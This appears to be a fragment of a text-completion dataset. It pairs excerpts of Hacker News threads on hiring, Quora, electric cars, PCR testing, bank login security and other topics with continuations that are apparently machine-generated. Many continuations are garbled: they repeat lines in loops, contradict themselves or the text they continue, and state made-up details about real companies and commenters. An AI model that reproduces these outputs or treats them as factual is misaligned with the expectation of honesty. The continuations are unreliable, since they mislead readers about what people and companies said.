both these\nhabits and so seeks an intellectual reason to justify his sedentary lifestyle?\n\n~~~\nphiljackson\nIt's a cynical view, but I'm afraid to say I feel it too. This whole 'body\nacceptance' movement (in the context of obesity) that's happening at the\nmoment is detrimental to society and should probably be shunned as overweight\npeople justifying their inactive lifestyles.\n\n------\ndarkhorn\nCan someone explain to me why an identical twin is allergic to mushrooms and\nthe other one is not? Also why a symmetric identical twin is more\nfriendly/outgoing and speaks fluently while the other one is opposite?\n\n~~~\njepper\nBecause your immune system, a highly complex interaction between countless\ncells, is not fully determined just by your genes or your environment. There\nis also a stochastic factor.\n\n------\nUdik\nI wonder if they took in account the fact that, as they say, the twin that\nstopped exercising did so reluctantly and in response to some social or family\npressure. In other words, they're comparing a person who keeps doing what he\nalways liked to do with another that had to give up. I'm not sure the result\ncan be transferred to people who never felt the urge and benefit of\nexercising. How would compare two twins, one of which has only in recent years\nbeing forced to exercise?\n\n~~~\nrevelation\nWhats your point here,"} +{"output_text": "olecules are not\n'information'.\n\n~~~\njules\n> The only reason why the perspective seems confusing is because you're\n> conflating process with molecules.\n\nI don't think that's true. The reason why the perspective seems confusing is\nthat you are conflating the process with the molecule.\n\n> Doing PCR is not innovative.\n\nI don't think that's true either. PCR is a process that has been around for\ndecades.\n", "input_text": " I think patenting a significant modification of a\nnaturally occurring substance is completely reasonable as it protects the\ninvestments involved in inventing and applying the modifications, while at the\nsame time allowing others to use and understand the development. Without\npatents biotech would become full of trade secrets, holding back progress in\nthe field.\n\n~~~\ndnautics\nYeah, i'm against patents, but i think if we have them they should be applied\nfairly and according to a clear set of rules instead. It's like saying, I'm\nopposed to government being involved in marriage, but if we are going to have\nit then homosexuals should be allowed to be married.\n\nThe only reason why the perspective seems confusing is because you're\nconflating process with molecules. In general any given claim of a patent can\nprotect the molecule or the process. Myriad did not choose to claim the\nprocess, because the process is obvious. But having a process that is obvious\ndoes not necessarily make the molecule obvious.\n\nDoing PCR is not innovative. But the process DOES transform one molecule into\nanother, unless your primers are exactly flush with the end of the dsDNA - in\nwhich case it is merely a straight copying operation. OK? The molecule that\ncomes out at the end has a different covalent structure than the molecule that\nyou start with. Is that not true? if you don't believe that, then you would\nmake the claim that octane 'is the same as' dodecane, because it's just a\ntruncated version.\n\nAlso, it is not an exact copy of something in nature, unless that 'thing' is a\ndata fragment. It is an original molecule, that copies the data, but the\nmolecule is distinct. That is an important point. M"} +{"output_text": " same way.\n\n~~~\njoshstrange\nI don't think Quora is a company. I think it's a community.\n\n~~~\nmeowface\nI don't think Quora is a community. I think it's a company.\n\n~~~\njoshstrange\nI don't think Quora is a community. I think it's a company.\n\n------\njoshstrange\nI've been a Quora user for years and I", "input_text": "I dunno about its changing popularity, but like Expert Sexchange before it, I\nactively avoid Quora. It was the first site I added to my Google Personal\nBlocklist, and the reason I installed the plugin.\n\nTheir unsubscribe form is (or was last I saw it in 2015) a nastier piece of\nwork than I could imagine, even if told: Come up with the most annoying\nunsubscribe form you can. Make it really hard to unsubscribe from\neverything...make'em work for it.\n\nQuora, I hope, will continue to lose to much better, much more ethical, Q&A\nsites. The Stack Exchange sites seem like the market leaders, as they probably\nshould be. They do nearly everything right, and they do it without being\nsmarmy. Sites that believe they have a _right_ to my attention, and are\nwilling to cheat to get it, really ought to be shunned in polite company. I'm\nnot sure how they've managed to maintain a patina of legitimacy after all\nthese years of being no-good, shiftless, internet hucksters. We, as a\ncommunity, usually shun the hell out of spammers...and yet, when Quora (and\nLinkedIn, for another example of a spammer getting a pass) do it, most folks\njust shrug as though it's no big deal. Does a certain level of economic\nsuccess lend credibility even when behaving in ways that deserve no\ncredibility?\n\nNot that I'm grumpy about it, or anything.\n\n~~~\nmeowface\nOn mobile, they make you install their app to look at anything at all.\n\nAny company that needs dozens of \"dark patterns\" and tricks to stay afloat\nprobably shouldn't exist. LinkedIn is the"} +{"output_text": " surveys, and sharing documents.\n\nWe're a small team, so you'll have a huge impact on the product and company.\nWe're looking for people who are passionate about building great products and\ncommunicating with others.\n\nWe're a small team, so you'll have a huge impact on the product and company.\nWe're looking for people who are passionate about building great products and\ncommunicating with others.\n\n------\njoshu\nPagerDuty", "input_text": " euro's.\n\nWe're bound by the collective bargaining agreement (cao) for universities. So\nit's a bit low even for dutch standards.\n\nHowever, it's hard to compare it against SV or london positions because the\ncost of living is lower, and a lot of the conttact is very much in favour of\nthe employee (a company cannot just fire you for example, you get health\nbenefits that are probably very good by us standards).\n\nI'm purposefully not making a case here. The vsnu cao is online[1] and you\nshould make your own deliberation.\n\n[1]:\n[http://www.vsnu.nl/files/documenten/CAO/Januari%202016/CAO_N...](http://www.vsnu.nl/files/documenten/CAO/Januari%202016/CAO_NU%20ENG%20jan2016.pdf)\n\n~~~\nimdsm\nGood luck, hope you find someone. Luckily, most people who see this and scoff\nwon't have been the person you're looking for anyway.\n\n------\nbradavogel\nMixmax | Full-Stack Engineer or intern | On-site San Francisco or Remote (for\nengineers with experience) |\n[https://mixmax.com/careers](https://mixmax.com/careers)\n\nWe're a growing, fast-moving team looking for all types of engineers: full-\nstack, backend, site reliability, data, integration.\n\nMixmax's mission is to reinvent the way professionals communicate for work.\nWe're building the impossible: a rich communications platform that brings the\npower of the web to everyday communication. This includes easily scheduling\nmeetings, completing"} +{"output_text": " a PCR test on a sample that is not a nasopharyngeal swab\n\n\\- you do a PCR test on a sample that is a nasopharyngeal swab\n\n\\- you do a PCR test on a sample that is a nasopharyngeal swab that has been\nin a freezer for a week\n\n\\- you do a PCR test on a sample that is a nasopharyngeal swab that has been\nin a freezer for a week and has been thawed and refro", "input_text": ",\" one of the Wuhan doctors\nwho tested positive twice told NPR [...] \"If they really are not infectious,\"\nthe doctor said, \"then there would be no need to take them back to the\nhospitals again.\"\n\nSo why are the asymptomatic cases required to quarantine under medical\nobservation for 14 days but not counted?\n\n~~~\nceejayoz\n\"Not proven to be infectious\" and \"proven to not be infectious\" aren't the\nsame thing. Quarantine/observation is warranted for the first.\n\n~~~\nnico_h\nWell if you know they are infected, and are worried they might be infectious,\n_why not count them_ after all they _are_ occupying a bed.\n\n------\nhprotagonist\nCouple of thoughts:\n\n\\- I think we need to know a LOT more about the sensitivity, specificity, and\naccuracy of every test that's being deployed right now. I am 100% willing to\nbelieve that \"testing negative and then positive\" means \"you have a pretty low\nviral load and our tests suck more than we're willing to admit out loud right\nnow\".\n\n\\- I think we need to be very clear that there are two kinds of tests: \"you\nhave an active SARS-CoV-2 infection _right now_, and also \"you have once had\na SARS-CoV-2 infection in the semi-recent past\". One tells you who needs care,\none tells you who is at least temporarily immune we hope.\n\n~~~\nbaxtr\n_In general_ PCR tests are highly sensitive. Even smallest viral loads can be\ndetected\n\n(Edit) added in general above due to valid points in the comments below\n\n~~~\nhprotagonist\nif:\n\n\\- you do"} +{"output_text": ".0.0 release.\n\n------\nsharemywin\nI would say a year.\n\n------\nsharemywin\nI would say a year.\n\n", "input_text": "\nI will, contact me if interested mustafa91 at gmail\n\n \nI cant promise time but why people look so mad at me? - itsmejax\nPeople always ask when you finish that thing. How can I answer when I do not know the time frame?

I cant promise anything.\n======\nicedchai\nTake your \u201chonest\u201d estimate, double it, and round up to the next highest value\n(day, week, month...)\n\n------\nLeoSolaris\n\"This is a difficult problem with multiple unknowns. I will have a progress\nreport for you tomorrow.\"\n\nMake sure that you are reaching out to the rest of your team.\n\n------\nsharemywin\nWill it probably take about year?\n\nWill it probably take about month?\n\nWill it probably take about week?\n\nWill it probably be done in a day?\n\nMost of the time their looking for a ballpark.\n\n \n\nCompo4All: Making Arcade Games Social Again - ekianjo\nhttp://www.pandoralive.info/?p=185\n\n======\nParadisoShlee\nThis simple little idea has been keeping my OpenPandora in my hands a lot\nrecently. Passive social gaming has always been one of the more interesting\nand non-explored parts of multiplayer.\n\nI remember playing a TRIALS HD on my 360 and my friends are shown as a passive\ndot. I kept wanting to chase that dot and beat the high score of somebody who\nwasn't even playing.\n\n~~~\nParadisoShlee\nP.S. To everybody who saw the words \"Open Pandora\" and laughed... the project\nwas taken over over a year ago and is actually running pretty smoothly.\n\nI really like my 1"} +{"output_text": "-time\n| ONSITE\n\nGiveCampus is a non-profit that helps students pay for college. We're a team\nof 3, and we're looking for a full-stack engineer to join us.\n\nWe're a small team, so you'll have a lot of ownership and impact. We're\nlooking for someone who is excited to work on a mission that matters, and who\nis comfortable with the idea that they can make a difference.\n\nWe", "input_text": " [https://www.centralway.com/uk/careers/open-\npositions](https://www.centralway.com/uk/careers/open-positions) for a full\nlist.\n\nThe interview process typically consists of a 45 minute Skype interview\nfollowed by an invitation to come onsite in Zurich for a day, but varies\ndepending on the role.\n\nFeel free to contact me by email (tom.payne@centralway.com) for personal\nquestions, or apply directly through our website. Positions are onsite only,\nbut we can help with visas. The working language is English.\n\n------\nw8rbt\nVirginia Cyber Range | Blacksburg, VA | Cloud Application Developer | REMOTE |\n[https://listings.jobs.vt.edu/postings/71822](https://listings.jobs.vt.edu/postings/71822)\n\nThe Virginia Cyber Range is a Commonwealth of Virginia initiative with a\nmission to enhance cybersecurity education in our high schools, colleges, and\nuniversities. The Cyber Range will provide an extensive courseware repository\nfor educators and a cloud-hosted environment for hands-on cybersecurity labs\nand exercises for students.\n\nThe Virginia Cyber Range was proposed by Governor McAuliffe in spring 2016 as\npart of his vision to boost Virginia\u2019s cybersecurity industry through\nstrategic educational investments. The Cyber Range is led by an executive\ncommittee representing public institutions that are nationally recognized\ncenters of academic excellence in cybersecurity within the Commonwealth.\n\nIf interested, please apply at the link above and mention Hacker News.\n\n------\nmkong1\nGiveCampus (YC S15) | full stack engineer (Ruby on Rails) | DC, SF| Full"} +{"output_text": ", I'll just cancel my order and wait for the next one.\n\nBut then I remembered that I have Prime, and I can cancel my order and get a\nrefund.\n\nI cancelled my order, and got a refund.\n\nI'm not sure if this is a good thing or not, but it's a good reminder that\nPrime is not a guarantee of delivery.\n\n~~~\njedberg\nI think it's a good thing. I canceled my", "input_text": ". It doesn't have the \"Prime\" badge, but we get a decent number of orders\nthrough this, enough to survive.\n\nWe send out all orders with First Class Mail, and I pack them up around 3PM\neach business day in order to get them to the post office by the 5PM cutoff.\nIt appears most customers are receiving orders between 2 and 5 days after\nordering (including the opposite coast). This is even faster than the time\nestimate customers see on Amazon, and way faster than Prime.\n\nDisclaimer: your mileage may vary.\n\n------\nCodeSheikh\nAmazon's (+Wholefood) supply-chain failure is an eye-opener for me during\nCOVID-19 crisis. I hate to acknowledge my dependability on Amazon Prime while\nliving in a big city. I am not sure how I will break my habit but I know for a\nfact that I won't be ordering everything from Amazon Prime in the future.\n\nFor a company that commands e-commerce space in year 2020, it is really\nfrustrating to find this workflow while ordering from WF while using Amazon's\napp, it is a joke and UI/UX 101 blunder. You add items to your cart. They run\nout of inventory. Items disappear from your cart. Either you place your order\nassuming all items were in your cart or you don't get a delivery slot and you\nhave to add those items again. Why can't they just borrow the same feature\nfrom Amazon.com where unavailable items move conveniently to \"Save later\"\nsection?\n\n------\nalias_neo\nThis is an important thing to remember. Just last night, I was ordering an\nitem on Amazon, and pointed out to my wife that it is gonna take a week to\ndelivery on prime.\n\nThat's fine"} +{"output_text": " a charging\nstation I can't.\n\n~~~\nTeknoman117\nI'm not assuming that. I'm assuming that you're not going to be able to charge\nat home, and that you're going to be driving a lot.\n\nI'm also assuming that you're not going to be able to charge at work, and that\nyou're going to be driving a lot.\n\nI'm also assuming that you're not going to be able to charge at", "input_text": "\nTeknoman117\n100-140 miles is more than adequate for nearly all of the United States. While\nthere are people who drive farther, the vast majority of the citizens of this\ncountry travel less than 40 miles for work, and I don't know anyone who would\ndrive that far for groceries. People tend to want to buy a car for the largest\ntrip they can imagine they'd take, even if that event may only happen a few\ntimes in the vehicle's lifetime.\n\n~~~\nZanni\nYou're assuming that you always start from a full charge (an assumption I used\nto make before I got an EV). That's not always the case. I live in a\ntownhouse, so I'm in the process of getting a charging station installed (it's\nbeen six months so far and we're still in the paperwork stage...) In the\nmeantime, I charge where I can. That means I almost _never_ start my day with\na full charge. Worse, there are only a few places I _can_ charge, and my best\noptions add 20 miles of range in an hour. Say I start my day with 70 miles of\nrange, which should be more than adequate for my ~45 miles of round trip\ncommute. But an emergency comes up and I have to run an errand. It's just a\nshort 10-mile trip, but now I'm coasting in to home with just 5 miles of range\nleft... if my meter is accurate (it's not), if traffic's not bad (it might\nbe), etc. Charging stations are few and far between, which means the nearest\none might be outside of my remaining range. Or, if I can get to one, it might\nbe occupied. At a gas station I can just wait five minutes. At"} +{"output_text": " San Francisco, CA | Full-time | Onsite\n\nWe're a small team of engineers, designers, and product managers building the\nfuture of online privacy. We're looking for a full-stack engineer to join our\nteam.\n\nWe're building a privacy-focused email service that's easy to use and\nunderstand. We're also building a suite of tools to help people manage their\nprivacy online.\n\nWe're looking for someone who is passionate about privacy and", "input_text": " virtualization and container technologies (KVM, LXC)_ Experience in\nIntel DPDK & NIC drivers _Experience in Layer 3 networking technologies\ndesired Strong problem solving and software development /troubleshooting\nskills _Experience with Broadcom BCM56960 \u201cStrataXGS\u201d / \u201cTomahawk\u201d\n\nBonus Skills: Experience with Broadcom BCM88370/BCM88670 \u201cStrataDNX\u201d /\n\u201cJericho/Qumran\u201d\n\n~~~\npravin19\nJob description @ [https://www.rtbrick.com/md/job/sr-software-engineer-\npfe.html](https://www.rtbrick.com/md/job/sr-software-engineer-pfe.html)\n\n------\ntjbladez\nBenchprep | Senior Engineer | Chicago | ONSITE\n\nCompany: We are a small group of driven, ambitious individuals committed to\nchanging the landscape of education. We work hard, eat well, and have lots of\nfun. We work at BenchPrep because we love it (plus benefits, competitive\nsalary, perks etc).\n\nWe are looking for talented and motivated professionals who are excited about\nthe chance to leverage technology in order to impact the lives of millions of\nstudents. Our clients include ACT\u00ae, HRCI, Hobsons and many other educational\ncompanies. Check out job description\n[http://www.builtinchicago.org/job/senior-\nengineer-6](http://www.builtinchicago.org/job/senior-engineer-6) and shoot\nemail to techjobs@benchprep.com\n\n------\nslvrspoon\nAbine: Online Privacy |"} +{"output_text": " work more hours to make the same amount of money.\n\n~~~\nSixSigma\n>paying people more for these jobs would make the end product way more\nexpensive\n\nIt would not.\n\n>and make your country not competitive (what's happening here in France)\n\nIt is not competitive because it is not competitive.\n\n>another side effect is that because the price of the end product gets more\nexpensive, people will have to work more hours to make the", "input_text": " is the second-\n> highest in Europe.\n\nThis is the result of years of malinvestiment in human capital. The Austrian\nTheory of Business Cycles explain.\n\n------\nsmsm42\nSo, if they don't have enough qualified workers, why don't they start creating\non-the-job training programs? I understand there's risk in such investment\n(i.e., you train a person and then they leave for a higher salary) but there\nare many ways to counter it. Is there something like that happening in Spain?\nIf not, why?\n\n------\nrcarmo\nI've been pinged by recruiters for positions in Spain pretty much every week,\neither multinationals who need to grow their presence or local corps looking\nfor experts. Cost of living is about the same as here in Portugal, but my\nprevious experience with local execs makes me leery of those opportunities.\n\n------\nSixSigma\nThe agriculture sector employs many North African illegal immigrants.\n\nVisit the greenhouses of Almeria and see what happens when you take your\ncamera from its bag.\n\n~~~\npatrickaljord\nThe do so because local people don't want to do these jobs.\n\n~~~\nSixSigma\nIf people don't want to do a job, it is because it is not suitably\nremunerated.\n\nUsing illegal labour instead should not be defended. It undercuts the position\nof the legal workers.\n\n~~~\npatrickaljord\nPaying people more for these jobs would make the end product way more\nexpensive and make it hard to compete on the global market and make your\ncountry not competitive (what's happening here in France). Another side effect\nis that because the price of the end product gets more expensive, people will\nhave to"} +{"output_text": "------\njoshu\nI'm looking for a new job. I'm a senior software engineer in the Bay Area.\n\nI'm looking for a new job in the Bay Area. I'm a senior software engineer in\nthe Bay Area.\n\nI'm looking for a new job in the Bay Area. I'm a senior software engineer in\nthe Bay Area.\n\nI'm looking for a new job in the Bay Area. I'm a senior software engineer in\nthe", "input_text": ".\n\n~~~\nefnx\nDoug! You beat me to the punch! ;) I signed on with Takt in October and it has\nbeen very rewarding. The culture is great and I'm learning a lot from\nabsolutely everyone. I highly recommend applying :).\n\n------\nsnowmaker\nY Combinator (yes, the people who run this site) is hiring hackers (San\nFrancisco, ONSITE)\n\nY Combinator has a very big vision, one that goes beyond just funding\nstartups. Yesterday we announced a new partnership with the ACLU:\n[https://news.ycombinator.com/item?id=13531707](https://news.ycombinator.com/item?id=13531707)\n\nHere's a secret most people don't know: software is at the core of our plans\nfor taking YC to the next level.\n\nWe're looking for a couple of great hackers to join a small team in San\nFrancisco working on these new projects. It's not a job for everyone, but it\nwould be a good fit for someone who loves startups. Working at YC, you won't\njust write code, you'll be involved in everything YC does.\n\nHere's an example of something interesting we built recently:\n[http://themacro.com/articles/2016/08/investor-day-\nsoftware/](http://themacro.com/articles/2016/08/investor-day-software/)\n\nIf you're a hacker, send us a note here:\n[http://bit.ly/1Od0T2l](http://bit.ly/1Od0T2l). You can also email me with\nquestions: jared@ycombinator.com\n\n"} +{"output_text": " people who work in them.\n\n~~~\nmensetmanusman\nI\u2019m not sure if this is the right place to ask this, but I\u2019m curious if anyone\nhas any thoughts on this.\n\nI\u2019m thinking of a city where the cost of living is so high that it is\nimpossible for the people who work in the city to live there.\n\nI\u2019m thinking of a city where the cost of living is so high that it", "input_text": " service industry. Otherwise you face a real\nmacroeconomic problem.\n\n[1] [http://www.paulgraham.com/pgh.html](http://www.paulgraham.com/pgh.html)\n\n~~~\nselestify\nWhy can't they pay their chefs more until the chefs too can afford to live\ncloser?\n\n~~~\nabalone\nIs this not obvious? Seriously, this question always comes up in these\ndiscussions. The answer is it\u2019s a macroeconomic problem: SF restaurants have\nalready increased prices to $34 for a pork chop and $13 for a cocktail (Nopa..\nwhich I attest is a very good value by SF standards). Restaurant margins are\nlow. If they triple their cook salaries it will result in a net decline and\nthey\u2019ll close.\n\nWhat we\u2019re seeing is a shift towards \u201cfine casual\u201d formats like Souvla that\nhave lower labor costs. But there are just fewer midrange restaurants opening\ndue to labor and rent and the ceiling on what they can sustainably charge. The\nhigh end and low end / fine causal are doing ok.\n\n~~~\nselestify\nSo then why not let them close? Seems like the supply-and-demand problem will\neventually reach a new equilibrium.\n\n~~~\nabalone\nBecause then chefs would be even worse off because half would lose their jobs?\nA better solution is to provide them affordable housing.\n\n------\ntechnics256\nAn excellent article that highlights the biggest issues facing SF and the Bay\nArea overall, and the people who do not do a lot about it.\n\n------\nmensetmanusman\nReally points to how low cost robotics could potentially revolutionize food in\ncities with impossible living conditions for the"} +{"output_text": "/26/opinion-google-is-\nstill...](https://www.droid-life.com/2017/10/26/opinion-google-is-still-bad-\nat-selling-phones/)\n\n------\nmatt_wulfeck\nI'm not sure I agree with this. I think Google is still bad at selling phones\nbecause they don't have a good ecosystem.\n\nI'm not sure I'd buy a Pixel phone because I", "input_text": " re-\napply for Payments Pro in 2-3 months. They might reconsider.\n\n \nOpinion: Google Is Still Bad at Selling Phones - wbsun\nhttps://www.droid-life.com/wp-content/cache/page_enhanced/www.droid-life.com/2017/10/26/opinion-google-still-sucks-at-selling-phones/_index.html\n======\ndovdovdov\nThis is just market research, when they asked the community what they see in\nthe competitor,\n\npeople said 'no headphone jack' and 'overpriced crap'.\n\nGoogle just delivered on these desires.\n\n~~~\npiyush_soni\nYes. Apparently, when they sold the amazing value for money Nexus phones\n(especially the 5), no one wanted buy those \"cheap plastic phones\". Pixel 1,\nthe overpriced phone was the first one people noticed and bought. Sad, but\ntrue.\n\n~~~\nrak00n\nRemember the bootloop issue in 5x and 6p? They have a long way to go in this\nmarket.\n\n~~~\ntotalZero\nMy Nexus 6P soft bricked itself in exactly this way, by spiraling into a\nnever-ending bootloop. I contacted Google to ask for help, and they wouldn't\neven send me the documents I needed to get my credit card's warranty service\nextension program to replace my phone. I will never again buy a Google\nhardware device as long as I live.\n\n------\nnoncoml\nWhy would anyone buy a phone from an advertising company?\n\n~~~\na012\nBecause they're advertised\n\n------\nNateyJay\nFixed link: [https://www.droid-life.com/2017/10"} +{"output_text": " you can leave and we will pay\nyou the difference between your current salary and the one you would get at\nthe new job\".\n\n~~~\nOletros\n> Why not pro-actively train people?\n\nBecause it's not a good idea to train people who are not going to work for\nyou.\n\n> Looking 2 months for someone with some kind of certification for \"agile\" is\n> already a fourth of the time required to train someone who is already", "input_text": " different there.\nThe gov needs to take their finger out. Luckily we have a very helpful\n(Spanish) mayor who loves entrepreneurs and helps us with whatever, but he\nalso shakes his head when talking about hiring people locally.\n\n~~~\nOletros\n> you cannot fire them even if they are crap etc.\n\nI highly doubt that, it has not been easier to fire someone in Spain since the\nlatests reforms.\n\nNot taking into account that there is always a period were the employer and\nthe employee can cancel the contracts without any duty. Normally 6 months\n\n~~~\ntluyben2\nWhen were those because I was discussing this'recently' with my lawyer on the\ncoast? Yes the 6 months is true and I compare it with NL where firing is also\nhard but it's very straighforward how it works. Here I haven't been able to\nget it explained in that fashion. So far people look at us with pity when we\ntalk about hiring people legally. Note; we are a tiny company.\n\n~~~\nOletros\nBasically you can fire anyone when you want. If the cause is justified you pay\n10 day for year worked, if it is not justified you pay 20\n\n------\njlg23\nWhat I am missing in the article and in all discussions here is: Why not pro-\nactively train people? Looking 2 months for someone with some kind of\ncertification for \"agile\" is already a fourth of the time required to train\nsomeone who is already working for the client (numbers taken from the\narticle).\n\nIf one is willing to pay 220k and cannot find anyone while most job offers\n(according to comments here) max out at 36k, make a deal with a current\nemployee: \"We pay for training, after 2 years"} +{"output_text": "cheap/used macbook pro and install linux on it, but it's not going to be\npretty.\n\n------\nsahin-boydas\nI am really done with Macbook for simple reasons.\n\n1) Why do I need to wait 2-3 years and get 1-2 year old hardware for 2500 USD\nav.\n\n2) I want everything to be usb-c fine. I really got it but world or us are not\nready for", "input_text": " how long\nwill it be.\n\n \nAsk HN: What is there any Hackintosh of-the-self laptop? - sahin-boydas\nI am mac user since I am 6 years old and I really feel good if I use latest.

I am really done with Macbook for simple reasons.

1) Why do I need to wait 2-3 years and get 1-2 year old hardware for 2500 USD av.

2) I want everything to be usb-c fine. I really got it but world or us are not ready for it.

3) Why in the world one of best operation company cannot deliver an iphone with usb-c or can't have iphone slot in macbook pro. This is a joke!

4) I want Mac subscription or upgradable mac.

5) I have macbook, apple watch, iphone 7, how in the world is it difficult to have 1 charger (smart enough to detect the device and charge) and simple usb-c for all of it instead of 4 doggles/cables/adaptors\n====

For all these reasons, I am asking. Is there any of-the-self laptop Hackintosh?

(I will use for educational purposes so please don't remind me about EULA)\n======\ninformatimago\nThe EULA applies to educational purposes too. Education is one of the main\nmarkets of Apple.\n\nI'd suggest to install Darwin and GNUstep, or better, Linux and GNUstep on a\nPC laptop.\n\n------\nsfrailsdev\nOff the shelf hackintoshes don't exist afaik. You might be able to get a\n"} +{"output_text": "\" is also a bad idea.\n\n~~~\nkibwen\n> Justifying forEach (which is several times slower than a for loop) with\n> sparse arrays (which are an anti-pattern because they take you out of \"fast\n> elements\" mode in V8 at least) is laughable in a sad way.\n\nI'm not sure what you mean by \"sparse arrays\" here. The article is talking\nabout sparse arrays, which are arrays that", "input_text": "-vs-foreach/293](https://jsperf.com/for-vs-\nforeach/293) shows that there is no significant difference in for of vs\nforEach in my version of chrome. There is an insignificant difference\nacoording to which forEach is actually slower. (One forEach case in that\nbenchmark is only faster because it does something different.)\n\nEdit: looking at the comparison at the bottom, it seems like forEach is\nactually significant slower than for of since chrome 61.\n\n~~~\nolliej\nLots of work went into making the perf of for(of) fast - after the initial\n\u201cmake it semantically correct\u201d bits.\n\nThere are many reasons it is faster, but it also has the nice property of\nworking sensibly on any iterable object rather than forEach that only iterates\nby index, and has an annoying \u2018if (index in object)\u2019 in the loop.\n\n------\ngbuk2013\nThis is a very mediocre article that mixes some good advice with misleading\nand frankly bad things.\n\nJustifying forEach (which is several times slower than a for loop) with sparse\narrays (which are an anti-pattern because they take you out of \"fast elements\"\nmode in V8 at least) is laughable in a sad way. It also has no \"break\"\nfunctionality, which is important if we are talking about performance (i.e.\nwhen iterating the array to find a specific member).\n\nThe advice for using array literals to insert elements is also bad for the\nsimilar reason that it makes it easy to create sparse arrays.\n\nThat and \"i>arr.length\" in the example means the for loop will run exactly 0\ntimes! ;)\n\nUsing \"filter\", \"map\" and \"reduce"} +{"output_text": " just so much\ninformation out there about the Steinway that it's hard to know what to\nbelieve.\n\n------\njameshart\nI'm not sure I understand the point of this article. It's a press release\nabout a new piano roll player, and it's written in a way that makes it sound\nlike a press release.\n\n~~~\nbalabaster\nI'm not sure I understand the point of this article. It's a press release\nabout a", "input_text": " actually scanned\nthem and converted them to MIDI:\n[http://www.pianola.co.nz/public/](http://www.pianola.co.nz/public/)\n\nThese files can now be played on a Yamaha Disklavier, or the Steinway CEUS or\nnow this new one.\n\nOr they can be played with software-modeled pianos like PianoTeq or sampled-\nbased software pianos. Really nice.\n\n------\nnjloof\nPiano rolls have survived for over a century. I wonder whether these\nperformances will have the same longevity.\n\n~~~\nD_ANGER\nYamaha has been doing this for at least a decade, recording performers for\ntheir player grands. I don't know how intense the home market is but they've\nused them for master classes and competitions remotely; pretty interesting as\na teaching tool.\n\nAlso, Jenny Lin is a fantastic pianist, check her out.\n\n~~~\ncolomon\nYes, I find it really frustrating that the article doesn't contrast at all\nwith the previous state of the art. I seem to remember that the Yamaha pianos\nyou mention already had significantly better than MIDI reproduction\ncapabilities way back when. Getting all excited about the new system without\nmentioning how much of an improvement it is makes this sound like a press\nrelease rather than a well-researched article.\n\n~~~\nbalabaster\nHaving played quite a large number of the Yamaha Clavinovas over the years, I\ncan concur. Knowing this makes this read exactly as if it were a press\nrelease, or at least an article written by a Steinway Fanboy... of course, I\ncan't blame someone for being a Steinway Fanboy, there's"} +{"output_text": " numbers, 3 tries, 10 accounts, the chance of guessing at least 1 account is\npow(1-3/pow(10,5),10)\n\n~~~\nviraptor\nIt's not the number of tries that matters. It's the number of accounts.\n\nIf you have 10 accounts, and you have to guess at least 1 of them, you need to\nguess at least 10 accounts.\n\nIf you have 100 accounts, and you have to guess", "input_text": " real person\"\ndetection.\n\n~~~\nthrowaway201606\nThanks for taking the time to explain this: it does indeed seem clear that\nthey are just doing username and password detection for access.\n\nA followup question: I have lived in Europe and have accounts in banks in\nIreland. For those accounts, actually executing any financial transaction\nrequires entering a one time token generated by a device that uses your debit\ncard and PIN.\n\nLike so:\n\n[https://www.youtube.com/watch?v=kEOEQzC8-Fc](https://www.youtube.com/watch?v=kEOEQzC8-Fc)\n\nDo the banks you tested have a similar setup?\n\nJust trying to find out if these specific banks have chosen to control view\ntransactions with just the username / password but require some other\nadditional authentication for actual financial transactions.\n\n~~~\nviraptor\nNone of them required extra authorisation to get data. (even transactions\ngoing back 5+ years) They did have the SMS validation when adding new transfer\ntargets, but not for executing transactions to existing contacts - which is\npotentially an issue if you can pay off a different credit card just by\nchanging the reference field.\n\n------\nhyperman1\nThe 5 number 3 tries bank does not seem very secure:\n\nIt is (at least in my country) very easy to guess valid acount numbers: They\nare incrementally numbered + have a checksum. So while 1 account of a 5 number\n3 tries bank is safe, attacking all of them in volume is not:\n\nWith N numbers, T tries, A accounts, the chance of guessing at least 1 account\nis pow(1-T/pow(10,N),A)\n\n5"} +{"output_text": "reasonable, but I don't think that's the main reason people hate usage-based\nbilling.\n\n~~~\nsliverstorm\nI'm not saying usage-based billing is perfect, but I think it's a step in the\nright direction.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they are\ngoing to charge you more for your data. It's just that they are going to\ncharge you", "input_text": ". Baffles me as to why.\n\nI think we need to make it illegal to advertise \"unlimited\" without it\nactually being unlimited. I would have thought that existing truth-in-\nadvertising laws would cover this, but apparently they don't.\n\nMake it illegal to promise what you never intend to deliver and this whole\nproblem goes away. If unlimited is practical to offer, then it will be\noffered. If unlimited is not practical, then ISPs will no longer be allowed to\npretend that it is, and will be encouraged to make the limitations of their\noffers obvious up-front instead of using shady nonsense like this.\n\n~~~\nsliverstorm\nAs I see it there are three reasons the tech community hates usage-based\nbilling.\n\n\\- First, any time a company tries usage-based data billing, they charge\nabsolutely criminal rates. If you paid attention to usage-based cell service\nover the years, you'd know what I speak of.\n\n\\- Second, in an \"unlimited\" model, some users use more, some use less. In\ngeneral the tech community will be the ones using more- so they benefit at the\nmarginal expense of other users. They pay comparatively less by volume for\ntheir usage.\n\n\\- Third, in my opinion there's at least a tiny bit of entitlement going\naround in the online community as a whole. Nobody wants to pay for anything.\nYou know, because \"information wants to be free!\" and all.\n\n~~~\nmikeash\nAT&T's overage rates are pretty reasonable. They charge $10/GB, which is about\nwhat you pay for the initial monthly data plan anyway. Of course, there's\nprobably leftover sentiment from times when overages were much less\n"} +{"output_text": " a clever experiment reveal that light is both a\nparticle and a wave.\"\n\n------\njoshu\nI'm not sure I understand the point of the article.\n\nThe photos are interesting, but the article is about the \"secret lives\" of\nthese projects.\n\n~~~\naaronbrethorst\nI think the point of the article is that the photos are interesting, but the\narticle is about the \"secret lives\" of these projects.\n\n------\n", "input_text": " never\nneed their full allotment, and when they do, they only need it occasionally.\n\n \nThe Secret Lives of NYC Mega-Projects - aaronbrethorst\nhttp://gizmodo.com/the-photographer-who-documents-the-secret-life-of-nyc-m-1697968505\n======\npartisan\nI recently spoke to a few people who have worked on these large scale\nmunicipal projects. We think we have a hard time managing active software\nprojects. These projects have change orders alone worth well into the 10s of\nmillions. There are so many moving parts, literally, that it is a miracle they\nget completed at all.\n\nI don't find the choice of photos particularly inspiring, from an artistic\nsense, but it is nice to have a peak into that world.\n\n------\ndanjayh\nThese projects are amazing. Seeing the work that goes into just a single\nsubway line makes it absolutely mind blowing to me that China has managed to\nbuild entire metropolises, complete with subway systems, in well under a\ndecade. These photos are absolutely fantastic, and I'm happy to have had the\nopportunity to see some of what goes into this kind of work.\n\n \nFirst photograph of light as both a particle and wave (2015) - 